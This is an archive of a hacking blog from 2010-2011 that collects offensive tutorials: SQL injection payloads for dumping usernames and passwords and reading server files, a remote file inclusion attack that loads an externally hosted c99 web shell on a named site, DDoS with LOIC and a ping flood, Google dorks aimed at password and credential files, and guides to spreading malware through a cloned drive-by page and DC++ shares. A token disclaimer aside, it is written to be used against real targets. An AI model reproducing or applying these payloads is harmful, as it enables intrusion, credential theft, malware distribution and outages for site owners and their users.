Friday, December 23, 2011
Anu
If you're looking for string injections, or WAF bypassing please look this post. Its updated :)
Showing posts with label How to hack website. Show all posts
Showing posts with label How to hack website. Show all posts
Friday, December 23, 2011
Monday, May 16, 2011
Website hacking techniques...
We hear the same terms bandied about whenever a popular site gets hacked. You know… SQL
Injection, cross site scripting, that kind of thing. But what do these
things mean? Is hacking really as inaccessible as many of us imagine — a
nefarious, impossibly technical twilight world forever beyond our ken?
Not really.
When
you consider that you can go to Google right now and enter a search
string which will return you thousands of usernames and passwords to
websites, you realize that this dark science is really no mystery at
all. You'll react similarly when you see just how simple a concept SQL
Injection is, and how it can be automated with simple tools. Read on,
to learn the basics of how sites and web content management systems are
most often hacked, and what you can do to reduce the risk of it
happening to you.
Friday, April 22, 2011
How t get Rapidshare Premium account FREE?
Everybody wants a personal Rapidshare Premium account but not all can afford it. If you are one of those people who can’t afford it or don’t want to ask your parent to buy you one then there are only 2 ways of getting a Rapidshare premium account.
Monday, April 11, 2011
How to taking down a website (DDOS)?
In this tutorial I will show you how to take down websites via DDoS. For
this tutorial we will be using one of the most effective and one of the
least known tools called
Sunday, April 10, 2011
Website hacking tool...
Do you want to Telnet or SSH to your
website? In simple terms, Telnet and SSH allows you to remotely control
your webserver so that you can easily change the file permissions of
your web pages, create new files and do more.
Friday, March 4, 2011
(BASIC) How to hack with JavaScript?
Basic JavaScript hacking
LEVEL 1
You must first obtain the "source code": Set the security of Internet Explorer to high, click on the link to level 1 at the very top of the menu bar, Internet Explorer, the File, Edit, View, etc. Press the "View", "Source".This will take it up a Notepad window.
LEVEL 1
You must first obtain the "source code": Set the security of Internet Explorer to high, click on the link to level 1 at the very top of the menu bar, Internet Explorer, the File, Edit, View, etc. Press the "View", "Source".This will take it up a Notepad window.
Look for:
passwort=prompt("Please enter password!","") passwort = prompt ( "Please enter password !","")
This ensures a prompt box you can write in, that you enter as a password is stored in the variable "passwort".
if (passwort=="easy") if (passwort == "easy")
This checks on "passwort" (what you type) is "easy", the password for level 1 is when the "easy".
Set back security to medium and click on the link to the Level 1and type "easy".
Use the same procedure to obtain the "source code".
LEVEL 2
Once you have retrieved the Notepad window, there will be a lot of code. Just scroll further down, find this:
var m1, i; was m1, i;
m1="JavaScript"; m1 = "JavaScript";
value=prompt("Please enter password!",""); value = prompt ( "Please enter password !","");
if (value==m1) { if (value == m1) (
window.location=value+".htm"; window.location = value + ". htm";
i=4; i = 4;
What you type being stored in the variable "value",
if (value==m1) if (value == m1)
"m1" is a variable that contains a value. See further up:
m1="JavaScript " m1 = "JavaScript"
The password is "JavaScript".
Stay in touch for more tuts on tht topic...
thanks...
How to clone any website for turning it java drive-by..?
With the help of this tutorial you can easily clone any web page n trun/convert them into a java drive...
Download
You'll only need one file, client.jar.
Downloading a web page
Well, obviously we have a web page we want to download. In this example I'll be using http://www.google.com. Right click anywhere on the page and click "save as". And save it to an empty folder. I'm using Chrome but I know firefox has a similar feature.
Editing the index file
Now open the folder where you saved the file. You'll see you'll have a file and a folder. Rename the file from whatever.htm to index.htm and accept any warning you may get.
Now open up index.htm in notepad. Scroll down to the very bottom of the page, make a new line and add this text:
Code:
Replace "YOURVIRUSURL" with the link to your .exe virus.
Save and close the file.
Placing the .jar file
Quick step, copy the client.jar you downloaded earlier to the same folder as the index.htm.
That's it! Upload all of the files in the folder (including the folder "whatever_files") to a webhost and begin spreading!
Thanks...
Sunday, February 13, 2011
How to hack websites via DDOS (Denial of Service Attack)?
There are many tools like SQLI Helper, Admin Finder and many ways like SQL Injection used to hack website or in proper words, deface a website.
Today, I am posting a simple but useful website hacking software- LOIC (Low Orbit Ion Cannon). LOIC is used to hack website by implementing DOS or DDOS attack which temporarily takes a website down. I have provided link for software download... just read on.
Note: The article is meant for educational purpose only. I am not responsible for any act done by you. Remember, hacking website is legally offensive and can take you behind the bars.
Hack Website using DOS attack:
A DOS (Denial Of Service) attack is implemented by sending large number of requests to a web server. Due to large requests, web server clogs up and is unable to respond to other requests. Excess packet traffic in the network leads to congestion and consequently, the web server shuts down, restarts or atleast is unable to serve other clients. Thus, it appears that the website it down. And we are able to temporarily hack website using DOS attack.
How to use LOIC to hack Website???
1. Free download Low Orbit Ion Cannon software to hack website.
Password: qq
2. Run LOIC.exe file on your computer to see:
4. In Attack Options, assign "9001" as timeout value. Enter any number of threads you want LOIC to use. The number of threads refers to the number of virtual computers, LOIC will try to immitate.
5. Now, hit on "IMMA CHARGIN MAH LAZER" so that LOIC starts DOS attack on the website.
Note: A single instance of this software doesn't take a website down. If you really want to hack website using LOIC, run multiple instances of LOIC on multiple computers and DOS the website using these hundreds of LOIC instances. Then, you have hope of taking down a website.
So guys, this was all about how to hack website using DOS attack and LOIC. As you might have seen, you can hack website if you are running multiple instances of LOIC. If you have any problem in this tutorial to hack website using LOIC, please mention it in comments.
Enjoy LOIC to hack website using DOS attack...
Hack Websites...
Here is tool tht will reduce your efforts to hack any websites...
Download Havij v1.14
1.First Find a sqli infected site
2-Open havij and copy and paste infected link as shown in figure
3. Then It shows some messages there....Be alert on it and be show patience for sometime to find it's vulernable and type of injection and if db server is mysql and it will find database name.Then after get it's database is name like xxxx_xxxx
![[Image: thirdk.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ssdzrpqkUKht9Jk5qPZYg_-hNrbJtziuj3L6eSKgC9QlmvoiadqfBaQXXw-00b0GitUhkqzGXMPF8oemSKyL2N-xez-5W3gNBkXk5mHxg=s0-d)
4.Then Move to another operation to find tables by clicking "tables" as figure shown.Now click "Get tables" Then wait some time if needed
![[Image: 37846594.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t9ww3IqtF-zmaqB4YGBBLddH7G2fqX0Ljb_uYr4tETtHh5YESgQj6nalfucFfNlZpzSz9TWqxoR-9etnhoI69yh6YeDqApolz3BE2IiZKo_u8=s0-d)
5. After founded the tables ,you can see there will be "users" Put mark on it and click in the " get columns " tab as shown in figure
![[Image: 4tgh.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vb8ScwlrP2GLtHBTLidj8LMu1cieDZo7a9VipelXnmhSxpseOEIFVzwSes-dLTIZuS3R6e34d9n1wvTw4REgPfZnyFzOiDbymwQi-CKVA=s0-d)
6. In that Just put mark username and password and click "Get data"
![[Image: 5tht.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tjDMOrx7PoYCb5fbUlrYIrH39hydWuilNStoiYZk5JwEcfP9aWuac_Q042ACFNnjEJdH49sSnJDbMlwcYSu3RRpIUv4GWIdQAuzlABkQ=s0-d)
8. Bingo Got now id and pass that may be admin...
The pass will get as md5 you can crack it also using this tool as shown in figure..
![[Image: srfile201088142733796.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v3OZ4pcRdZiwCJ3k9ai-SkLTiWKWbI_79Ur2vWreox4f2Y6HncXA-y0O30SOPx-rpXrGQTQ_9nzzxZotD-0wUuFkVXsm2MJrYdZVEaiRJVt3V07qG6bXLm62EQfv1I=s0-d)
*************************************************************************
HOW TO FInD SQL VU SITES
GO HERE
Quote:http://lnk.co/GP51L
THE GREEN COLLOUR MEAN there is SQL Injection Vulnerability
like this in the pic
![[Image: 580714054.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_truLddcSkPqjppkMYSmmcjFEGzjMgF2cQuqJ70HkjFQPZcdg9rsfeMvLcrqXZhXi6vYLcwDKpUjzoK1-A66qcuPVOS1psGXfIz4VmB3h74FRXL4IY=s0-d)
SQL Dorks
Quote:Aqui les dejo unas cuantas Dorks para buscar webs vulnerables:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:lay_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:ageid=
inurl:games.php?id=
inurl:age.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:rtray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurlinions.php?id=
inurl:spr.php?id=
inurl:ages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:articipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:rod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:erson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:rofile_view.php?id=
inurl:category.php?id=
inurl:ublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:rod_info.php?id=
inurl:shop.php?do=part&id=
inurl:roductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:roduit.php?id=
inurlp.php?id=
inurl:shopping.php?id=
inurl:roductdetail.php?id=
inurlst.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:age.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:roduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:ffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
Nice tut for hacking...
I was bored so i decided to make a tut.
So the tools we will need...:
PhazeNameLeecher DL: DOWNLOAD LINK
Virus scan :
Spoiler (Click to View)
DC++ client (i recommend apex++ cuz original dc++ is laggy as hell)
http://www.apexdc.net/
How it will work :
PhazeNameLeecher will leech names from some site (cant remmember the name ) and will make a lot of copy's of your server with leeched names
and then you will share all those files on Dc++
Step 1 :
Power up the nameleecher
and press
menu > start crab
and now wait till it finishes.
when it finishes it shud look like this :
![[Image: tut.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sqVQZ2C1tluac9QiHZNoJE8OJHt61epVcZjSuXEq4NwU6CzH-haMWODzj8Eli9JiVvmJ3H3qHRVeEuxXeOqMzdjDd6JdxkqexY6S7gEKc0TC8=s0-d)
Step 2 :
crypt your server
Step 3
change icon to something more sutable ( like install icons )
you can do that using reshacker or using an icon changer search for it here on hf
step 4 :
create a new folder and move your server in there
step 5:
return to the nameleecher
and press
menu > start copy > got to the location of your server > select your server > now save dialog will pop up > press save ( NOTE dont copy those files in your desktop, if you do that it will create 15k files in your desktop ) now you need to wait till it finishes NOTE : it will lag like hell
Step 6 :
after you finish and have your files its time to upload them to dc++
Open up dc++ > go to settings
![[Image: tut2.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uArSodt_aUJWKg-nXyueqnX3RawiVvN8DkLRIVfFWBa2EeFCMIZP0TEziUXvs_P7GFwhY9_OLAqaOEjLPmRlSmsmvzmefWnrGnKPVdC5aes_UWTg=s0-d)
select your folder > and press OK
now your files will be hased ( it will take a while)
when hasing will be complete open up a lot of hubs
now all you have to do is wait till people download your files
Friday, January 7, 2011
How to use DDOS to down any PC/SERVER?
DoS Attack With Your Home Pc To Any WebSite U Want To Be Killed!!
------------------------
DoS Attack Stands For Denial of Service Attack
------------------------
What Is DoS?
Denial of Service (DoS) attackes are aggressive attacks on anindividual Computer or WebSite with intent to deny services to intendedusers.
DoS attackes can target end-user systems, servers, routers and Network links(websites)
Requirments:
1- Command Prompt (CMD or DOS) Which is usually integrated in all Windows.
2- Ip-Address of Targeted Site.
How TO GET IP OF ANY SITE??"
No problem.. here is the solution..
open ur CMD (command prompt).. and type
--------------------------------------------------
nslookup Site-Name--------------------------------------------------
(e.g nslookup www.google.com)
It will show u ip of the site.
ohk now write this command in CMD For Attack on Any Site/ Server..
---------------------------------------------------
ping SITE-IP -l 65500 -n 10000000 -w 0.00001---------------------------------------------------
-n 10000000= the number of DoS attemps.. u can change the value "10000000" with ur desired value u want to attempt attack.
SITE-IP= Replace the text with the ip address of the site u want to be attacked..
-w 0.00001 = It is the waiting time after one ping attack.
NOTE: Dont Change or Remove -l, -n and -w in this command.. otherwise u will not able to attack!!
---------------
This All System Is Known As "PING OF DEATH"
FOR MORE INFO,, CONTACT ME...
tHANKS
Friday, December 31, 2010
How to use Google for hacking? (Google hacks)
Google search engine can be used to hack into remote servers or gatherconfidential or sensitive information which are not visible throughcommon searches.
Google is the world’s most popular and powerfulsearch engine. It has the ability to accept pre-defined commands asinputs which then produces unbelievable results.
Google’s Advanced Search Query Syntax
Discussedbelow are various Google’s special commands and I shall be explainingeach command in brief and will show how it can be used for gettingconfidential data.
[ intitle: ]The “intitle:” syntax helps Google restrict the search results to pages containing that word in the title.
intitle: login passwordwill return links to those pages that has the word "login" in their title, and the word "password" anywhere in the page.
Similarly,if one has to query for more than one word in the page title then inthat case “allintitle:” can be used instead of “intitle” to get thelist of pages containing all those words in its title.
intitle: login intitle: passwordis same as
allintitle: login password
[ inurl: ]The“inurl:” syntax restricts the search results to those URLs containingthe search keyword.
For example: “inurl: passwd” (without quotes) willreturn only links to those pages that have "passwd" in the URL.
Similarly,if one has to query for more than one word in an URL then in that case“allinurl:” can be used instead of “inurl” to get the list of URLscontaining all those search keywords in it.
allinurl: etc/passwdwill look for the URLs containing “etc” and “passwd”. The slash (“/”) between the words will be ignored by Google.
[ site: ]The “site:” syntax restricts Google to query for certain keywords in a particular site or domain.
exploits site:google.comwilllook for the keyword “exploits” in those pages present in all the linksof the domain “google.com”. There should not be any spacebetween “site:” and the “domain name”.
[ filetype: ]This “filetype:” syntax restricts Google search for files on internet with particular extensions (i.e. doc, pdf or ppt etc).
filetype:doc site:gov confidentialwilllook for files with “.doc” extension in all government domains with“.gov” extension and containing the word “confidential” either in thepages or in the “.doc” file. i.e. the result will contain the links toall confidential word document files on the government sites.
[ link: ]“link:” syntax will list down webpages that have links to the specified webpage.
link:www.expertsforge.comwilllist webpages that have links pointing to the SecurityFocus homepage.Note there can be no space between the "link:" and the web page url.
[ related: ]The “related:” will list web pages that are "similar" to a specified
web page.
related:www.expertsforge.comwilllist web pages that are similar to the Securityfocus homepage. Notethere can be no space between the "related:" and the web page url.
[ cache: ]The query “cache:” will show the version of the web page that Google has in its cache.
cache:www.pctipsbyanu.tkwill show Google's cache of the Google homepage. Note there can be no space between the "cache:" and the web page url.
If you include other words in the query, Google will highlight those words within the cached document.
cache:www.pctipsbyanu.tk guestwill show the cached content with the word "guest" highlighted.
[ intext: ]The “intext:” syntax searches for words in a particular website. It ignores links or URLs and page titles.
intext:exploitswill return only links to those web pages that has the search keyword "exploits" in its webpage.
[ phonebook: ]“phonebook” searches for U.S. street address and phone number information.
phonebook:Anu+INwilllist down all names of person having “Anu” in their names and locatedin “India(IN)”. This can be used as a great tool for hackersincase someone want to do dig personal information for socialengineering.
Google Hacks
Well, the Google’s querysyntaxes discussed above can really help people to precise their searchand get what they are exactly looking for.
Now Google being sointelligent search engine, hackers don’t mind exploiting its ability todig much confidential and secret information from the net which theyare not supposed to know. Now I shall discuss those techniques indetails how hackers dig information from the net using Google and howthat information can be used to break into remote servers.
Index OfUsing “Index of ” syntax to find sites enabled with Index browsing
Awebserver with Index browsing enabled means anyone can browse thewebserver directories like ordinary local directories. The use of“index of” syntax to get a list links to webserver which has gotdirectory browsing enabled will be discussd below. This becomes an easysource for information gathering for a hacker. Imagine if the get holdof password files or others sensitive files which are not normallyvisible to the internet. Below given are few examples using which onecan get access to many sensitive information much easily.
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
Looking for vulnerable sites or servers using “inurl:” or “allinurl:”
a.Using “allinurl:windows/system32/” (without quotes) will list down allthe links to the server which gives access to restricted directorieslike “system32” through web. If you are lucky enough then you might getaccess to the cmd.exe in the “system32” directory. Once you have theaccess to “cmd.exe” and is able to execute it.
b. Using“allinurl:wwwboard/passwd.txt”(without quotes) in the Google searchwill list down all the links to the server which are vulnerable to“WWWBoard Password vulnerability”. To know more about thisvulnerability you can have a look at the following link: HERE
c.Using “inurl:.bash_history” (without quotes) will list down all thelinks to the server which gives access to “.bash_history” file throughweb. This is a command history file. This file includes the list ofcommand executed by the administrator, and sometimes includes sensitiveinformation such as password typed in by the administrator. If thisfile is compromised and if contains the encrypted unix (or *nix)password then it can be easily cracked using “John The Ripper”.
d.Using “inurl:config.txt” (without quotes) will list down all the linksto the servers which gives access to “config.txt” file through web.This file contains sensitive information, including the hash value ofthe administrative password and database authentication credentials.
ForExample: Ingenium Learning Management System is a Web-based applicationfor Windows based systems developed by Click2learn, Inc. IngeniumLearning Management System versions 5.1 and 6.1 stores sensitiveinformation insecurely in the config.txt file. For more informationrefer the following
links: HERE
Other similar search using “inurl:” or “allinurl:” combined with other syntax
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
Looking for vulnerable sites or servers using “intitle:” or “allintitle:”
a.Using [allintitle: "index of /root”] (without brackets) will list downthe links to the web server which gives access to restricteddirectories like “root” through web. This directory sometimes containssensitive information which can be easily retrieved through simple webrequests.
b. Using [allintitle: "index of /admin”] (withoutbrackets) will list down the links to the websites which has got indexbrowsing enabled for restricted directories like “admin” through web.Most of the web application sometimes uses names like “admin” to storeadmin credentials in it. This directory sometimes contains sensitiveinformation which can be easily retrieved through simple web requests.
Other similar search using “intitle:” or “allintitle:” combined with other syntax
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
Other interesting Search Queries
- To search for sites vulnerable to Cross-Sites Scripting (XSS) attacks:
allinurl:/scripts/cart32.exe
allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
- To search for sites vulnerable to SQL Injection attacks:
allinurl:/privmsg.phpFor more hacks n tips you can leave a comment or contact me on "pctipsbyanu@yahoo.com OR pctipsbyanu@gmail.com"
Thanks..
Thursday, December 23, 2010
How to hack a Web Server in a minute...?
Remote file inclusion is basically aone of the most common vulnerability found in web application. Thistype of vulnerability allows the Hacker or attacker to add a remotefile on the web server. If the attacker gets successful in performingthe attack he/she will gain access to the web server and hence canexecute any command on it.
Searching the Vulnerability
Remote File inclusion vulnerability is usually occured in those sites which have a navigation similar to the below one
www.Targetsite.com/index.php?page=Anything
To find the vulnerability the hacker will most commonly use the following Google Dork
“inurl:index.php?page=”
This will show all the pages which has “index.php?page=”in their URL, Now to test whether the website is vulnerable to Remotefile Inclusion or not the hacker use the following command
www.targetsite.com/index.php?page=www.google.com
Lets say that the target website is http://www.cbspk.com
So the hacker url will become
http://www.cbspk.com/v2/index.php?page=http://www.google.com
If after executing the command thehomepage of the google shows up then then the website is vulnerable tothis attack if it does not come up then you should look for a newtarget. In my case after executing the above command in the address barGoogle homepage shows up indicating that the website is vulnerable tothis attack
Nowthe hacker would upload the shells to gain access.
The most commonshells used are c99 shell or r57 shell. I would use c99 shell. You candownload c99 shell from the link below:
http://www.ziddu.com/download/13093723/c99shell.zip.html
The hacker would first upload the shells to a webhosting site such as ripway.com, 110mb.com etc.
Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is
http://h1.ripway.com/rafaybaloch/c99.txt
Now here is how a hacker would execute the following command to gain access
http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/rafaybaloch/c99.txt?
Rememberto add “?” at the end of url or else the shell will not execute.
Nowthe hacker is inside the website and he could do anything with it
Thanks...
Monday, November 8, 2010
How to hack Websites/Web Servers (via SQL Injection)?
Hello Guys, today i'm posting a featured post on a nice topic - SQL Injection...
This SQL injection tutorial will clear your mostof sql injection doubts and will cleanly phase in an attack strategy for you.
SQL Injection is defined by http://www.h-spot.net/threat_glossary.htmas:
"The act of entering malformedor unexpected data (perhaps into a front-end web form or front-end applicationfor example) so that the back-end SQL database running behind the website orapplication executes SQL commands that the programmer never intended to permit,possibly allowing an intruder to break into or damage the database."
Background Information
- It is considered the most common web vulnerability today
- It's a flaw in the web application--not the db, or the server
- Can be injected into: Cookies, Forms, and URL parameters
Lesson Facts
- This lesson uses MySQL syntax for all examples.
- This lesson does not provide reasons for why sites are vulnerable, simply how to exploit them
- This lesson only provides sql injection examples for url parameters such it is such a large subject on it's own
- This lesson gives small examples of filter evasion techniques
The Lesson
Some commands you will need to know:
'union all select' : combines two or more select statements into one query andreturns all rows
'order by' : used to sort rows after a select statement is executed
'load_file()' : loads a local file from the site or server examples wouldbe .htaccess or /etc/passwd
'char()' : used to change decimal ascii to strings, can be used forfilter evasion--in sql injections, used in conjunction with load_file
'concat()' : combines more than one column into a single column,enabling more columns to be selected than the number that are showing on thepage (You will understand better later)
'—': a comment
'/*': another type of comment
Injection SQL Queries into URL Parameters
So you've found a site: '
and want to test if it's vulnerableto SQL Injections. Begin by checking if you can execute some of your ownqueries, so try:
/index.php?id=5 and 1=0--
If after executing the abovestatement, nothing has happened and the page has remained the same, you cantry:
/index.php?id='
if a blank page showed up you just might be in luck!
Now we want to find how many columnsand which ones are showing when the select statement is executed so we use:
/index.php?id=5 order by 20
If you get an error decrement thenumber 20, if there is no error continue incrementing until you get one andthen the number just before your error is the number of columns in the tableyou're selecting from.
Example:
/index.php?id=5 order by 15<--returns no error, but /index.php?id=5 order by 16
returns an error, then we know thatthere are 15 columns in our select statement.
The next statement will null theid=5 so the script only executes our commands and not it's own, and show uswhich columns we can extract data from:
/index.php?id=null union all select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
The comment comments out anythingthe script would append to the end of the statement so that only our statementis looked at.
So now look at the page and if yousee any of the numbers you just typed in, you know those columns are showing,and we can gather information from them. For this example let's pretend columns5, 7, and 9 are showing.
Now we can begin gatheringinformation!
/index.php?id=null union all select1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15--
As you can see we selected valuesfrom the showing columns, what if we want to clean this up a bit, and put allof those selected values in one column?
This is where concat() comes in:
/index.php?id=null union all select1,2,3,4,concat(user(),char(58),database(),char(58),version()),6,7,8,9,10,11,12,13,14,15--
Now look at your page, user(),database(), and version() are all in one place, and are separated by a colonthis demonstrates the use of concat() and char().
The user() will usually givesomething like username@localhost, but you may get lucky and getusername@ipaddresshere, in this instance you can try to brute force the FTP login.
The version would help you look up exploits for that version of thedatabase() in use--but only if you're a skiddy!
Before we can check if we have load_fileperms, we must get an FPD (Full Path Disclosure) so we know exactlywhere the files are located that we're trying to open. Below are some methodsto get an FPD:
/index.php?id[]=
You could attempt to Googlethe full path of the site by trying something like "/home/sitename"and hoping that you'll find something in Google
Session Cookie Trick
Thanks to Code Mobile.In the url type:
'javascript:void(document.cookie="PHPSESSID=");'
This will give a session_start()error and an FPD.
Now we will attempt to useload_file(), this example will load the .htaccess file, make sure you know thefile you're trying to load actually exists or you may miss out on youropportunity to realize what great perms you have:
/index.php?id=null union all select1,2,3,4,load_file(char(47, 104, 111, 109, 101, 47, 115, 105, 116, 101, 110, 97,109, 101, 47, 100, 105, 114, 47, 97, 108, 108, 111, 102, 116, 104, 105, 115,105, 115, 102, 114, 111, 109, 111, 117, 114, 102, 112, 100, 47, 46, 104, 116,97, 99, 99, 101, 115, 115)),6,7,8,9,10,11,12,13,14,15--
If you see the .htaccess file,congrats!
You have load_file() perms. Now try to load include files such asconfig.inc.php for database usernames and passwords, hoping that the admin isdumb enough to use the same username and password for ftp.
Another idea wouldbe to load .htpasswd after finding it's location from .htaccess and thenlogging in to all the password-protected areas that you want to on the site.
If you don't see the .htaccess file,I will include one more way to extract info by using sql injections.
Using information_schema.tables
So you don't have load_file() perms?
No problem, we can check for information_schema.tables.
1) 'table_name' is the name of atable that exists in all information_schema tables on every site:
/index.php?id=null union all select1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--
If the site is showinginformation_schema.tables, the words 'CHARACTER_SETS' will appear in column 5.What can I do with CHARACTER_SETS you might be wondering. Well, nothing thatI'm going to show you, but you can find out other tables that exist on the site.
The information_schema.tables contains a list of every table in the database onthe site, so you can pull up the table username and maybe password if theyexist...
Then what do you think the information_schema.columns hold? That'sright, a list of all the columns on the site. So rather than using just theabove injection you could try any of the following:
-/index.php?id=null union all select1,2,3,4,distinct table_name,6,7,8,9,10,11,12,13,14,15 frominformation_schema.tables—
Selects all 'distinct' table namesfrom information_schema.tables, meaning it will print out all tables at onetime
-/index.php?id=null union all select1,2,3,4,concat(table_name,char(58),column_name),6, 7,8,9,10,11,12,13,14,15 frominformation_schema.columns—
Selects all tables and columns thatgo with each table seperated by a colon
2) If none of the above queries giveyou anything except for 'CHARACTER_SETS' you will have to use enumeration todetermine the names of the other tables:
/index.php?id=null union all select1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tableswhere table_name != "CHARACTER_SETS"--
Then it would show the next table inline so you would modify the above to say:
where table_name !="CHARACTER_SETS" and table_name != "nexttableinline"--
Until no more tables show, then youcan do the same for the columns.
3) Now after you've executed one orall of those statements, let's say you found the table 'users' and it has thecolumns 'username', 'password', 'id', and 'email'.
To extract that info fromthe table, use:
/index.php?id=null union all select1,2,3,4,concat(username, char(58), password, char(58), id, char(58),email),6,7,8,9,10,11,12,13,14,15 from users--
And you'll get the info yourequested, of course you can modify that as you like such as:
-/index.php?id=null union all select1,2,3,4,username,6,password,8,9,10,11,12,13,14,15 from users where id=1---/index.php?id=null union all select1,2,3,4,concat(password, char(58), id, char(58),email),6,7,8,9,10,11,12,13,14,15 from users where username='Admin'
Replacing Admin with the top user'sname such as admin or owner etc..
Final Tips
With any luck, one of these methodshas worked for you and you were able to accomplish your goal. However, if noneof them worked, you can start guessing common table names and then columns:
/index.php?id=null union all select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from users
If the page shows up, you know thetable exists and you can start guessing column names:
/index.php?id=null union all select1,2,3,4,username,6,7,8,9,10,11,12,13,14,15 from users
If you get a username, good job youguessed a correct table and column, otherwise keep guessing.
Filter Evasion Techniques
- You can URL Encode characters, hex encode them, use any encoding you like as long as your browser can interpret it
- Rather then using 'union all select' try 'UniON aLL SeLECt' to see if the filter checks case
- Try using the plus sign to split words up: ' 'uni'+'on'+' '+'all'+' '+'Se'+'lect'
- Combine the methods mentioned above using different cases, the plus operator, and not just text but encoding as well
- Be creative
Thanks...
Subscribe to:
Posts (Atom)
